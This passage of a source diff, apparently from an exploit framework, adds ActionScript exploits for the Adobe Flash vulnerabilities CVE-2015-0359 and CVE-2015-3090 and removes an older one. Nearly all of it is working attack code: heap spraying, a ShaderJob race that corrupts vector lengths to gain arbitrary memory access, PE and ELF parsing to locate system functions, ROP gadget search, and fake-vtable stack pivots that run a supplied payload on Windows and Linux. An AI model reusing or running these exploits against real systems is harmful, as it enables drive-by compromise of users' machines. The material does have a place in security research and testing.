MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-0359/Logger.as b/external/source/exploits/CVE-2015-0359/Logger.as new file mode 100644 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2015-0359/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2015-0359/Msf.as b/external/source/exploits/CVE-2015-0359/Msf.as deleted file mode 100755 index 1bf0cd1947..0000000000 --- a/external/source/exploits/CVE-2015-0359/Msf.as +++ /dev/null @@ -1,261 +0,0 @@ -// Build how to: -// 1. Download the AIRSDK, and use its compiler. -// 2. Be support to support 16.0 as target-player (flex-config.xml). -// 3. Download the Flex SDK (4.6) -// 4. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) -// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) -// 5. Build with: mxmlc -o msf.swf Msf.as - -// Original code by @hdarwin89 modified to be used from msf -// https://git.hacklab.kr/snippets/13 -// http://pastebin.com/Wj3NViUu - -package -{ - import flash.display.Sprite - import flash.events.Event - import flash.utils.ByteArray - import flash.system.Worker - import flash.system.WorkerDomain - import flash.system.MessageChannel - import flash.system.ApplicationDomain - import avm2.intrinsics.memory.casi32 - import flash.display.LoaderInfo - import mx.utils.Base64Decoder - - public class Msf extends Sprite - { - private var ov:Vector. = new Vector.(25600) - private var uv:Vector. = new Vector. - private var ba:ByteArray = new ByteArray() - private var stack:Vector. = new Vector.(0x6400) - private var payload_space:Vector. = new Vector.(0x6400) - private var b64:Base64Decoder = new Base64Decoder() - private var payload:String = "" - private var worker:Worker - private var mc:MessageChannel - - public function Msf() - { - if (Worker.current.isPrimordial) mainThread() - else workerThread() - } - - private function mainThread():void - { - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) - payload = b64.toByteArray().toString() - ba.length = 0x1000 - ba.shareable = true - for (var i:uint = 0; i < ov.length; i++) { - ov[i] = new Vector.(1014) - ov[i][0] = ba - ov[i][1] = this - ov[i][2] = stack - ov[i][3] = payload_space - } - for (i = 0; i < ov.length; i += 2) delete(ov[i]) - worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) - mc = worker.createMessageChannel(Worker.current) - mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage) - worker.setSharedProperty("mc", mc) - worker.setSharedProperty("ba", ba) - ApplicationDomain.currentDomain.domainMemory = ba - worker.start() - } - - private function workerThread():void - { - var ba:ByteArray = Worker.current.getSharedProperty("ba") - var mc:MessageChannel = Worker.current.getSharedProperty("mc") - var tmp:ByteArray = new ByteArray() - tmp.length = 0x2000 - - for (var i:uint = 0; i < 20; i++) { - new Vector.(1022) - } - - ba.writeBytes(tmp) - ov[0] = new Vector.(1022) - - mc.send("") - while (mc.messageAvailable); - - // Vector length corruption didn't work, aborting... - if (ov[0].length != 0xffffffff) { - return - } - - // Bad memory layout :( restoring length, and aborting... - if (ov[0][0x407] != 0x3f6) { - ov[0][0x3ffffffe] = 1022 - return - } - - ov[0][0] = ov[0][0x403] - 0x18 - 0x1000 - var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) //+ 0x100000 - var main:uint = ov[0][0x409] - 1 - var stack_object:uint = ov[0][0x40a] - 1 - var payload_space_object:uint = ov[0][0x40b] - 1 - var vtable:uint = vector_read(main) - var stack_address:uint = vector_read(stack_object + 0x18) as uint - var payload_address:uint = vector_read(payload_space_object + 0x18) as uint - vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8) - vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff) - mc.send(buffer.toString() + "/" + main.toString() + "/" + vtable.toString() + "/" + stack_address.toString() + "/" + payload_address.toString()) - } - - private function onMessage(e:Event):void - { - casi32(0, 1022, 0xFFFFFFFF) - if (ba.length != 0xffffffff) mc.receive() - else { - // Restoring vector length - var res:uint = casi32(0, 0xffffffff, 1022) - if (res != 0xffffffff) { // Something has been wrong... aborting - return - } - ba.endian = "littleEndian" - var data:Array = (mc.receive() as String).split("/") - var buffer:uint = parseInt(data[0]) as uint - var main:uint = parseInt(data[1]) as uint - var vtable:uint = parseInt(data[2]) as uint - var stack_address:uint = parseInt(data[3]) as uint - var payload_address:uint = parseInt(data[4]) as uint - var flash:uint = base(vtable) - var winmm:uint = module("winmm.dll", flash) - var kernel32:uint = module("kernel32.dll", winmm) - var virtualprotect:uint = procedure("VirtualProtect", kernel32) - var winexec:uint = procedure("WinExec", kernel32) - var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) - var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) - - // Continuation of execution - byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable - byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main - byte_write(0, "\x89\x03", false) // mov [ebx], eax - byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret - - // Put the payload (command) in memory - byte_write(payload_address + 8, payload, true); // payload - - // Put the fake vtabe / stack on memory - byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... - byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] - byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot - byte_write(0, virtualprotect) - - // VirtualProtect - byte_write(0, winexec) - byte_write(0, buffer + 0x10) - byte_write(0, 0x1000) - byte_write(0, 0x40) - byte_write(0, buffer + 0x8) // Writable address (4 bytes) - - // WinExec - byte_write(0, buffer + 0x10) - byte_write(0, payload_address + 8) - byte_write(0) - - byte_write(main, stack_address + 0x18000) // overwrite with fake vtable - - toString() // call method in the fake vtable - } - } - - private function vector_write(addr:uint, value:uint = 0):void - { - var pos:uint = 0 - - if (addr > ov[0][0]) { - pos = ((addr - ov[0][0]) / 4) - 2 - } else { - pos = ((0xffffffff - (ov[0][0] - addr)) / 4) - 1 - } - - ov[0][pos] = value - } - - private function vector_read(addr:uint):uint - { - var pos:uint = 0 - - if (addr > ov[0][0]) { - pos = ((addr - ov[0][0]) / 4) - 2 - } else { - pos = ((0xffffffff - (ov[0][0] - addr)) / 4) - 1 - } - - return ov[0][pos] - } - - private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void - { - if (addr) ba.position = addr - if (value is String) { - for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) - if (zero) ba.writeByte(0) - } else ba.writeUnsignedInt(value) - } - - private function byte_read(addr:uint, type:String = "dword"):uint - { - ba.position = addr - switch(type) { - case "dword": - return ba.readUnsignedInt() - case "word": - return ba.readUnsignedShort() - case "byte": - return ba.readUnsignedByte() - } - return 0 - } - - private function base(addr:uint):uint - { - addr &= 0xffff0000 - while (true) { - if (byte_read(addr) == 0x00905a4d) return addr - addr -= 0x10000 - } - return 0 - } - - private function module(name:String, addr:uint):uint - { - var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1 - while (true) { - var entry:uint = byte_read(iat + (++i) * 0x14 + 12) - if (!entry) throw new Error("FAIL!"); - ba.position = addr + entry - if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break - } - return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))) - } - - private function procedure(name:String, addr:uint):uint - { - var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) - var numberOfNames:uint = byte_read(eat + 0x18) - var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) - var addressOfNames:uint = addr + byte_read(eat + 0x20) - var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) - for (var i:uint = 0; ; i++) { - var entry:uint = byte_read(addressOfNames + i * 4) - ba.position = addr + entry - if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break - } - return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) - } - - private function gadget(gadget:String, hint:uint, addr:uint):uint - { - var find:uint = 0 - var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) - var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break - return addr + i - } - } -} diff --git a/external/source/exploits/CVE-2015-0359/PE.as b/external/source/exploits/CVE-2015-0359/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2015-0359/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-3090/Elf.as b/external/source/exploits/CVE-2015-3090/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2015-3090/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-3090/Exploit.as b/external/source/exploits/CVE-2015-3090/Exploit.as new file mode 100755 index 0000000000..3ed18ef38c --- /dev/null +++ b/external/source/exploits/CVE-2015-3090/Exploit.as @@ -0,0 +1,102 @@ +package +{ + import flash.display.BitmapData + import flash.display.Shader + import flash.display.ShaderJob + import flash.display.Sprite + import flash.utils.getTimer + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + import flash.utils.ByteArray + + public class Exploit extends Sprite + { + [Embed ( source="exploit.pbj", mimeType="application/octet-stream" ) ] + private static var BilinearScaling:Class + private var ov:Vector. + private var uv:Vector. + + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + + public function Exploit() + { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + var srcBmd:BitmapData = new BitmapData(0x93, 1, true, 0x40000000); + + // Create and configure a Shader object to apply the the bilinear scaling bytecode + var shader:Shader = new Shader() + shader.byteCode = new BilinearScaling() + shader.data.scale.value = [1] + shader.data.src.input = srcBmd + + // Put vectors in memory + ov = new Vector.(1024) + + for (var i:uint = 0; i < ov.length; i++) { + ov[i] = new Vector.(0xa6) + ov[i][0] = 0xdeedbeef + ov[i][1] = i + ov[i][2] = 0xdeadbeaf + } + + // Create holes by redimensioning some vectors + for (i = ov.length / 2; i < ov.length; i = i + 6) { + ov[i].length = 0x14c // 0xa6 * 2 + } + + // Defragment memory so hopefully one of our holes will be used + // by the ShaderJob later... + var defrag:Vector. = new Vector.(20) + for(i = 0; i < defrag.length; i++) { + defrag[i] = new Vector.(0xa6) + } + + // Apply the bilinear scaling with a ShaderJob, so the job + // can be execued on a new thread, providing us the opportunity + // to tweak the width attribute after starting the job, providing + // a buffer overflow situation + var shaderJob:ShaderJob = new ShaderJob() + shaderJob.shader = shader + shaderJob.target = srcBmd + shaderJob.width = 0 + shaderJob.start() + shaderJob.width = 0xa5 // Overwrite "next" vector length + this.WaitTimer(1000) + + for (i = 0; i < ov.length; i++) { + if (ov[i].length != 0xa6 && ov[i].length != 0x14c) { + Logger.log("[*] Exploit - Exploit(): Vector corrupted: " + i.toString() + " : " + ov[i].length.toString()) + uv = ov[i] + } else { + delete(ov[i]) + ov[i] = null + } + } + + if (uv == null) { + Logger.log("[!] Exploit - Exploit(): Corrupted Vector not found") + return + } + + exploiter = new Exploiter(this, platform, os, payload, uv) + } + + private function WaitTimer(time:int):void{ + var current:int = getTimer() + while (true) { + if ((getTimer() - current) >= time) break + } + } + } +} diff --git a/external/source/exploits/CVE-2015-3090/ExploitByteArray.as b/external/source/exploits/CVE-2015-3090/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2015-3090/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-3090/ExploitVector.as b/external/source/exploits/CVE-2015-3090/ExploitVector.as new file mode 100644 index 0000000000..e41d9dc85f --- /dev/null +++ b/external/source/exploits/CVE-2015-3090/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 0xa6 + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-3090/Exploiter.as b/external/source/exploits/CVE-2015-3090/Exploiter.as new file mode 100644 index 0000000000..f32ba07e13 --- /dev/null +++ b/external/source/exploits/CVE-2015-3090/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(90000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint 